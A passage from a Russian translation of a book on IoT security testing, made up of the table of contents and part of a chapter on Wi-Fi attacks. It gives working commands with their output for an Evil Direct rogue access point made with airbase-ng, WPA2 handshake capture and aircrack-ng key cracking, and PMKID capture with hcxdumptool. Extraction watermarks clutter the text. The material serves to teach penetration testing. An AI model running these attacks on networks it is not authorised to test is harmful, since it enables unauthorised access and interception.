- •От издательства
- •О техническом обозревателе
- •О соавторах
- •Об авторах
- •Вступительное слово
- •Благодарности
- •Предисловие
- •Почему важна защита интернета вещей?
- •Чем защита интернета вещей отличается от традиционной ИТ-защиты?
- •Законы хакинга интернета вещей
- •Заключение
- •Моделирование угроз для интернета вещей
- •Схема моделирования угроз
- •Определение архитектуры
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Использование деревьев атак для обнаружения угроз
- •Распространенные угрозы интернета вещей
- •Атаки с подавлением сигнала
- •Атаки с воспроизведением
- •Атаки со взломом настроек
- •Клонирование узла
- •Заключение
- •Пассивная разведка
- •Физический или аппаратный уровень
- •Периферийные интерфейсы
- •Среда загрузки
- •Блокировки
- •Предотвращение и обнаружение несанкционированного доступа
- •Прошивка
- •Интерфейсы отладки
- •Физическая устойчивость
- •Разведка
- •Атаки на сетевой протокол и службы
- •Тестирование беспроводного протокола
- •Оценка веб-приложений
- •Картирование приложений
- •Элементы управления на стороне клиента
- •Аутентификация
- •Управление сеансом
- •Проверка ввода
- •Логические ошибки
- •Сервер приложений
- •Исследование конфигурации хоста
- •Учетные записи пользователей
- •Привилегии учетной записи
- •Уровни патчей
- •Удаленное обслуживание
- •Управление доступом к файловой системе
- •Шифрование данных
- •Неверная конфигурация сервера
- •Мобильное приложение и облачное тестирование
- •Заключение
- •4. Оценка сети
- •Переход в сеть IoT
- •VLAN и сетевые коммутаторы
- •Спуфинг коммутатора
- •Двойное тегирование
- •Имитация устройств VoIP
- •Идентификация устройств IoT в сети
- •Обнаружение паролей службами снятия отпечатков
- •Атаки MQTT
- •Настройка тестовой среды
- •Написание модуля MQTT Authentication-Cracking в Ncrack
- •Тестирование модуля Ncrack на соответствие MQTT
- •Заключение
- •5. Анализ сетевых протоколов
- •Проверка сетевых протоколов
- •Сбор информации
- •Анализ
- •Создание прототипов и разработка инструментов
- •Работа с Lua
- •Общие сведения о протоколе DICOM
- •Генерация трафика DICOM
- •Включение Lua в Wireshark
- •Определение диссектора
- •Определение основной функции диссектора
- •Завершение диссектора
- •Создание диссектора C-ECHO
- •Начальная загрузка данных функции диссектора
- •Анализ полей переменной длины
- •Тестирование диссектора
- •Разработка сканера служб DICOM для механизма сценариев Nmap
- •Написание библиотеки сценариев Nmap для DICOM
- •Коды и константы DICOM
- •Написание функций создания и уничтожения сокетов
- •Создание заголовков пакетов DICOM
- •Написание запросов контекстов сообщений A-ASSOCIATE
- •Чтение аргументов скрипта в движке сценариев Nmap
- •Определение структуры запроса A-ASSOCIATE
- •Анализ ответов A-ASSOCIATE
- •Создание окончательного сценария
- •Заключение
- •6. Использование сети с нулевой конфигурацией
- •Использование UPnP
- •Стек UPnP
- •Распространенные уязвимости UPnP
- •Злоупотребление UPnP через интерфейсы WAN
- •Другие атаки UPnP
- •Использование mDNS и DNS-SD
- •Как работает mDNS
- •Как работает DNS-SD
- •Проведение разведки с помощью mDNS и DNS-SD
- •Злоупотребление на этапе проверки mDNS
- •Атаки «человек посередине» на mDNS и DNS-SD
- •Использование WS-Discovery
- •Как работает WS-Discovery
- •Подделка камер в вашей сети
- •Создание атак WS-Discovery
- •Заключение
- •UART
- •Аппаратные средства для связи с UART
- •Как найти порты UART
- •Определение скорости передачи UART
- •JTAG и SWD
- •JTAG
- •Как работает SWD
- •Аппаратные средства для взаимодействия с JTAG и SWD
- •Идентификация контактов JTAG
- •Взлом устройства с помощью UART и SWD
- •Целевое устройство STM32F103C8T6 (Black Pill)
- •Настройка среды отладки
- •Кодирование целевой программы на Arduino
- •Отладка целевого устройства
- •Заключение
- •Как работает SPI
- •Как работает I2C
- •Настройка архитектуры шины I2C типа «контроллер–периферия»
- •Заключение
- •9. Взлом прошивки
- •Прошивка и операционные системы
- •Получение доступа к микропрограмме
- •Взлом маршрутизатора Wi-Fi
- •Извлечение файловой системы
- •Статический анализ содержимого файловой системы
- •Эмуляция прошивки
- •Динамический анализ
- •Внедрение бэкдора в прошивку
- •Нацеливание на механизмы обновления микропрограмм
- •Компиляция и установка
- •Код клиента
- •Запуск службы обновления
- •Уязвимости служб обновления микропрограмм
- •Заключение
- •10. Радио ближнего действия: взлом rFID
- •Радиочастотные диапазоны
- •Пассивные и активные технологии RFID
- •Структура меток RFID
- •Низкочастотные метки RFID
- •Высокочастотные RFID-метки
- •Настройка Proxmark3
- •Обновление Proxmark3
- •Клонирование низкочастотных меток
- •Клонирование высокочастотных меток
- •Имитация RFID-метки
- •Изменение содержимого RFID-меток
- •Команды RAW для небрендированных или некоммерческих RFID-тегов
- •Подслушивание обмена данными между меткой и считывателем
- •Извлечение ключа сектора из перехваченного трафика
- •Атака путем подделки RFID
- •Автоматизация RFID-атак с помощью механизма скриптов Proxmark3
- •Пользовательские сценарии использования RFID-фаззинга
- •Заключение
- •11. Bluetooth Low Energy (BLE)
- •Как работает BLE
- •Необходимое оборудование BLE
- •BlueZ
- •Настройка интерфейсов BLE
- •Обнаружение устройств и перечисление характеристик
- •GATTTool
- •Bettercap
- •Взлом BLE
- •Настройка BLE CTF Infinity
- •Приступаем к работе
- •Заключение
- •12. Радиоканалы средней дальности: взлом Wi-Fi
- •Как работает Wi-Fi
- •Атаки Wi-Fi на беспроводные клиенты
- •Деаутентификация и атаки «отказ в обслуживании»
- •Атаки на Wi-Fi путем подключения
- •Wi-Fi Direct
- •Атаки на точки доступа Wi-Fi
- •Взлом WPA/WPA2
- •Взлом WPA/WPA2 Enterprise для сбора учетных данных
- •Методология тестирования
- •Заключение
- •13. Радио дальнего действия: LPWAN
- •Захват трафика LoRa
- •Настройка платы разработки Heltec LoRa 32
- •Настройка LoStik
- •Превращаем USB-устройство CatWAN в сниффер LoRa
- •Декодирование протокола LoRaWAN
- •Формат пакета LoRaWAN
- •Присоединение к сетям LoRaWAN
- •Атаки на LoRaWAN
- •Атаки с заменой битов
- •Генерация ключей и управление ими
- •Атаки воспроизведения
- •Подслушивание
- •Подмена ACK
- •Атаки, специфичные для приложений
- •Заключение
- •14. Взлом мобильных приложений
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Защита данных и зашифрованная файловая система
- •Подписи приложений
- •Аутентификация пользователя
- •Управление изолированными аппаратными компонентами и ключами
- •Проверенная и безопасная загрузка
- •Анализ приложений iOS
- •Подготовка среды тестирования
- •Статический анализ
- •Динамический анализ
- •Атаки путем инъекции
- •Хранилище связки ключей
- •Реверс-инжиниринг двоичного кода
- •Перехват и изучение сетевого трафика
- •Анализ приложений Android
- •Подготовка тестовой среды
- •Извлечение файла APK
- •Статический анализ
- •Обратная конвертация двоичных исполняемых файлов
- •Динамический анализ
- •Перехват и анализ сетевого трафика
- •Утечки по побочным каналам
- •Заключение
- •15. Взлом умного дома
- •Физический доступ в здание
- •Клонирование RFID-метки умного дверного замка
- •Глушение беспроводной сигнализации
- •Воспроизведение потока с IP-камеры
- •Общие сведения о протоколах потоковой передачи
- •Анализ сетевого трафика IP-камеры
- •Извлечение видеопотока
- •Атака на умную беговую дорожку
- •Перехват управления интеллектуальной беговой дорожкой на базе Android
- •Заключение
- •Инструменты для взлома интернета вещей
- •Предметный указатель
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
используйте команду airmon-ng start wlan0 |
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
,чтобы безопасно пере- |
|
|
|
|
|
m |
|||||
|
w Click |
|
|
|
|
|
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
вести его в режим мониторинга. |
|
w |
|
df-x chan |
|
o |
|
||||
|
. |
.c |
|
||||||||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
Затем запустите Airbase-ng, многоцелевой инструмент пакета Air- crack-ng,предназначенныйдляатакнаклиентовWi-Fi.Вкачествеар- гументов командной строки укажите канал (-c),ESSID (-e),BSSID (-a) и интерфейс мониторинга, которым в нашем случае является mon0. Мы извлекли эту информацию на предыдущем шаге.
# airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0
04:47:17 Created tap interface at0 04:47:17 Trying to set MTU on at0 to 1500
04:47:17 Access Point with BSSID BB:BB:BB:BB:BB:BB started.
04:47:37 Client AA:AA:AA:AA:AA:AA associated (WPA2;CCMP) to ESSID: "DIRECT-5x-BRAVIA"
В выводе указано, что атака сработала ; наш целевой клиент те- перь связан с вредоносной AP.
Рисунок 12.7 показывает, что наша атака прошла успешно. Нам удалось подключить телефон жертвы к поддельному телевизору BRAVIA, выдавая себя за сеть Wi-Fi Direct исходного телевизора, DI-
RECT-5x-BRAVIA.
Рис.12.7.Устройство жертвы, подключенное к поддельной AP через атаку EvilDirect
В реальном примере нам также нужно настроить DHCP-сервер для пересылки всех пакетов по назначению. Таким образом, мы не прер- вем общение целевого устройства слегальным сервером,и его владе- лец ничего не заподозрит.
Атаки на точки доступа Wi-Fi
Это не редкостьв мире интернета вещей,где устройства IoT выступа- ют в качестве точек доступа. Это часто происходит, когда устройство создает открытую точку доступа для процесса настройки (например,
Радиоканалы средней дальности: взлом Wi-Fi 345
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|||
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
это делают Amazon Alexa и Google Chromecast). Современные мо- |
|
|
|
to |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
m |
|||
|
w Click |
|
|
|
|
|
|
|||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
df-x chan |
|
o |
|
|||||
бильные устройства также могут выступать в качестве точек доступа, |
. |
.c |
|
|||||||||
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
|
чтобы делиться своим Wi-Fi-подключением с другими пользовате- |
|
|
|
|
|
|
|
|
|
|
||
лями, а в умных автомобилях есть встроенные точки доступа Wi-Fi |
|
|
|
|
|
|
|
|
|
|
||
с поддержкой 4G LTE-соединения. |
|
|
|
|
|
|
|
|
|
|
|
|
Взлом точки доступа обычно означает взлом ее протокола шиф- |
|
|
|
|
|
|
|
|
|
|
||
рования. В этом разделе мы рассмотрим атаки на WPA и WPA2, два |
|
|
|
|
|
|
|
|
|
|
||
протокола, используемые для защиты беспроводных компьютерных |
|
|
|
|
|
|
|
|
|
|
||
сетей.WPA–этообновленнаяверсияWEP,крайненебезопасногопро- |
|
|
|
|
|
|
|
|
|
|
||
токола, с которым все еще можно столкнуться на некоторых старых |
|
|
|
|
|
|
|
|
|
|
||
IoT-устройствах. WEP генерирует вектор инициализации довольно |
|
|
|
|
|
|
|
|
|
|
||
небольшойдлины–всего 24 бита,который создается с помощью |
RC4, |
|
|
|
|
|
|
|
|
|
|
устаревшейинебезопаснойкриптографическойфункции.Всвоюоче- редь WPA2 – это обновленная версия WPA, которая реализует режим шифрования на основе стандартаAES (Advanced Encryption Standard).
Давайте обсудим сети WPA/WPA2 Personal и Enterprise и определим ключевые атаки на них.
Взлом WPA/WPA2
Вы можете взломать сеть WPA/WPA2 двумя способами.Первый наце- лен на сети, в которых используются общие ключи. Второй нацелен на поле идентификатора главного парного ключа (Pairwise Master Key Identifier, PMKID) в сетях, которые позволяют роуминг со стандартом 802.11r.В роуминге клиент может подключаться к разнымточкам до- ступа, принадлежащим одной и той же сети, без необходимости по- вторной аутентификации для каждой из них. Хотя атака PMKID бо- лее успешна, она не затрагивает все сети WPA/WPA2, поскольку поле
PMKID является необязательным. Атака с предварительным общим ключом – это атака методом перебора, которая имеет меньшую веро- ятность успеха.
Атаки с предварительным общим ключом
WEP, WPA и WPA2 полагаются на секретные ключи, которыми оба устройства должны обмениваться, в идеале по защищенному кана- лу, прежде чем они смогут обмениваться данными. Во всех трех про- токолах точки доступа используют один и тот же предварительный ключ со всеми своими клиентами.Чтобы украсть этотключ,нам нуж- но перехватить полное четырехстороннее рукопожатие. Четырехсто- роннее рукопожатие WPA/WPA2 – это последовательность обмена данными,которая позволяетточке доступа и беспроводному клиенту доказатьдругдругу,что они оба знают общий ключ,не раскрывая его по радиоканалу. Перехватывая четырехстороннее рукопожатие, зло- умышленник может провести офлайн-атаку методом подбора и рас- крыть ключ.
Аутентификация под названием Extensible Authentication Protocol
(EAP) через LAN (EAPOL), представляет собой четырехстороннее ру-
346 Глава 12
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
копожатие, которое использует WPA2 (рис. 12.8) для генерацииwне- |
|
|
|
|
|
m |
|||||
скольких ключей на основе общего ключа. |
w Click |
|
|
|
|
|
o |
||||
|
w |
|
df-x chan |
|
|
||||||
|
. |
.c |
|
||||||||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
Клиент |
1.A-nonce |
2.Генерация PTK |
3.S-nonce и MIC |
5.GTK & MIC |
6.ACK |
Рис.12.8.Четырехстороннее рукопожатие WPA2 |
Точка доступа
4.Генерация PTK
Сначала клиент использует предварительный ключ, называемый
парным главным ключом (Pairwise-Master Key, PMK), для генерации второго ключа, называемого парным переходным ключом (Pairwise Transient Key, PTK), с использованием MAC-адресов обоих устройств и случайного одноразового числа с обеих сторон. Для этого требует- ся, чтобы AP отправила клиенту свое случайное число, называемое A-nonce. (Клиент уже знает свой собственный MAC-адрес, и он полу- чает адрес AP, когда два устройства начинают связь, поэтому устрой- ствам не нужно отправлять их снова.)
После того как клиент сгенерировал PTK, он отправляет AP два элемента: свое одноразовое число S-nonce и хеш PTK, называемый
кодом целостности сообщения (Message Integrity Code, MIC). Затем AP
самостоятельно генерирует PTK и проверяет полученный MIC. Если MIC действителен, AP выдает третий ключ, так называемый общий временный ключ (Group Temporal Key,GTK),который используется для расшифровки и широковещательной рассылки трафика всем клиен- там.AP отправляетMIC GTK и полное значение GTK.Клиентпроверя-
ет их и отвечает подтверждением (acknowledgment,ACK).
Устройства отправляютвсе эти сообщения как фреймы EAPOL (тип фрейма, который использует протокол 802.1X).
Попробуем взломать сеть WPA2. Чтобы получить PMK, нам нужно извлечь A-nonce, S-nonce, оба MAC-адреса и MIC PTK. Получив эти значения, мы можем выполнить офлайн-атаку методом подбора па- роля.
Радиоканалы средней дальности: взлом Wi-Fi 347
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
В этом примере мы настроили точку доступа, работающую в ре- |
|
|
|
to |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
df-x chan |
|
o |
|
|||||
жиме общего ключа WPA2, а затем подключили к ней смартфон. Вы |
. |
.c |
|
||||||||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
можете заменить клиента портативным компьютером, смартфоном, IP-камерой или другим устройством. Мы будем использовать Air- crack-ng, чтобы продемонстрировать атаку.
Сначала переведите беспроводной интерфейс в режим монито- рингаиизвлекитеBSSIDточкидоступа(отом,какэтосделать,расска- зывается в разделе «Деаутентификация и атаки типа “отказ в обслу- живании”»).Внашемслучаемыузнали,чтоточкадоступаработаетна канале 1, а ее BSSID – 0C:0C:0C:0C:0C:0C.
Проведемпассивныймониторингтрафика,начтопотребуетсянеко- торое время,потому что нам придется подождать,пока клиентне под- ключится к точке доступа. Вы можете ускорить этот процесс, отправив пакеты деаутентификации уже подключенному клиенту. По умолча- нию деаутентифицированный клиент попытается повторно подклю- читься к своей AP,снова инициируя четырехстороннее рукопожатие.
После подключения клиента используйте Airodump-ng, чтобы на- чать захват фреймов, отправленных в целевую сеть:
#airmon-ng check kill
#airodump-ng -c 6 --bssid 0C:0C:0C:0C:0C:0C wlan0mo -w dump
После того как мы захватили фреймы в течение нескольких минут, начнем нашу атаку подбора,чтобы взломатьключ.Это можно быстро сделать с помощью Aircrack-ng:
# aircrack-ng -a2 -b |
0C:0C:0C:0C:0C:0C -w list |
dump-01.cap |
|
|
|
|
||||||||||
|
|
|
Aircrack-ng 1.5.2 |
|
|
|
|
|
|
|
|
|||||
[00:00:00] 4/1 |
keys tested (376.12 |
k/s) |
|
|
|
|
|
|
|
|
||||||
Time left: 0 seconds |
|
|
|
|
|
|
|
|
|
|
|
400.00% |
||||
|
|
|
KEY FOUND! [ |
24266642 |
] |
|
|
|
|
|
|
|||||
Master Key |
: 7E 6D 03 12 31 1D |
7D |
7B |
8C |
F1 |
0A |
9E |
E5 |
B2 |
AB 0A |
||||||
|
46 |
5C |
56 |
C8 |
AF 75 |
3E |
06 |
D8 |
A2 |
68 |
9C |
2A |
2C |
8E |
3F |
|
Transient Key |
: 2E 51 30 CD D7 59 |
E5 |
35 |
09 |
00 |
CA 65 71 1C D0 4F |
||||||||||
|
21 |
06 |
C5 |
8E |
1A |
83 |
73 |
E0 |
06 |
8A |
02 |
9C |
AA 71 33 AE |
|||
|
73 |
93 |
EF D7 EF 4F |
07 |
00 |
C0 |
23 |
83 |
49 |
76 |
00 |
14 |
08 |
|||
|
BF 66 77 |
55 |
D1 |
0B |
15 |
52 |
EC |
78 |
4F |
A1 |
05 |
49 |
CF AA |
|||
EAPOL HMAC |
: F8 |
FD 17 |
C5 |
3B |
4E |
AB C9 |
D5 |
F3 |
8E |
4C |
4B |
E2 |
4D |
1A |
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Мы восстанавливаем PSK: 24266642.
Обратите внимание, что в некоторых сетях используются более сложные пароли, в силу чего этот метод будет сложнее применить.
Атаки PMKID
В2018годуразработчикHashcatпопрозвищуatomоткрылновыйспо- соб взломать WPA/WPA2 PSK и рассказал о нем на форумах Hashcat.
348 Глава 12
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Новизна этой атаки в том, что она не нуждается в трафике клиента; |
|
|
|
|
|
m |
||||
w Click |
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
злоумышленник может взломать AP напрямую, не перехватывая чеd-f-x chan |
.c |
|
||||||||
|
. |
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
e |
|
тырехстороннее рукопожатие.Крометого,это более надежный метод. Этотновыйметодиспользуетособенностисетиснадежнойбезопас ностью (Robust Security Network, RSN) PMKID, необязательного поля,
которое обычно находится в первом фрейме EAPOL отточки доступа. PMKID вычисляется следующим образом:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
PMKIDиспользуетфункциюHMAC-SHA1сPMKвкачествеключа.Он шифрует конкатенацию фиксированной строковой метки "PMK Name", MAC-адреса точки доступа и MAC-адреса беспроводной станции.
Для этой атаки вам понадобятся инструменты Hcxdumptool, Hcx- tools и Hashcat. Чтобы установить Hcxdumptool, используйте следую- щие команды:
$ git clone https://github.com/ZerBea/hcxdumptool.git $ cd hcxdumptool && make && sudo make install
Перед установкой Hcxtools нужно установить libcurl-dev (если вы этого не делали ранее):
$ sudo apt-get install libcurl4-gnutls-dev
Затем можете установить Hcxtools следующими командами:
$ git clone https://github.com/ZerBea/hcxtools.git $ cd hcxtools && make && sudo make install
Если вы работаете в среде Kali Linux, Hashcat уже должен быть установлен. В дистрибутивах на основе Debian поможет следующая команда :
$ sudo apt install hashcat
Сначала переводим наш беспроводной интерфейс в режим мони- тора.Чтобысделатьэто,следуйтеинструкциямвразделе«Деаутенти- фикация и атаки типа “отказ в обслуживании”».
Затем, используя hcxdumptool, начинаем захват трафика и сохра няем его в файл:
# hcxdumptool -i wlan0mon -enable_status=31 -o sep.pcapng -filterlist_ap=whitelist.txt
--filtermode=2 initialization...
Радиоканалы средней дальности: взлом Wi-Fi 349
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|||||||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
F |
|
|
|
|
|
|
|
i |
|
||
|
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
t |
|
|||||
P |
D |
|
|
|
|
|
|
|
|
o |
|
P |
D |
|
|
|
|
|
|
|
|
o |
|||||
|
|
|
|
NOW! |
|
r |
|
|
|
|
|
NOW! |
r |
||||||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
warning: wlan0mon is probably a monitor interface |
|
|
|
|
|
to |
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
w |
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
||||||||||||
w Click |
|
|
|
|
|
|
|
o |
m |
|
w Click |
|
|
|
|
|
|
o |
|||||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|||
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
||||||
|
|
p |
df |
|
|
|
|
e |
|
|
|
|
|
|
|
p |
df |
|
|
|
|
e |
|
||||
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
g |
|
|
|
||||||
|
|
|
|
|
n |
|
|
|
|
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
start capturing (stop with ctrl+c) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
INTERFACE................: wlan0mon |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
ERRORMAX.................: 100 errors |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
FILTERLIST...............: 0 entries |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
MAC CLIENT...............: a4a6a9a712d9 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
MAC ACCESS POINT.........: 000e2216e86d (incremented on every new client) |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
EAPOL TIMEOUT............: 150000 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
REPLAYCOUNT..............: 65165 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
ANONCE...................: 6dabefcf17997a5c2f573a0d880004af6a246d1f566ebd04c3f1229db1ada39e |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
... |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
[18:31:10 – 001] 84a06ec17ccc -> ffffffffff Guest [BEACON, SEQUENCE 2800, AP CHANNEL 11] |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
... |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
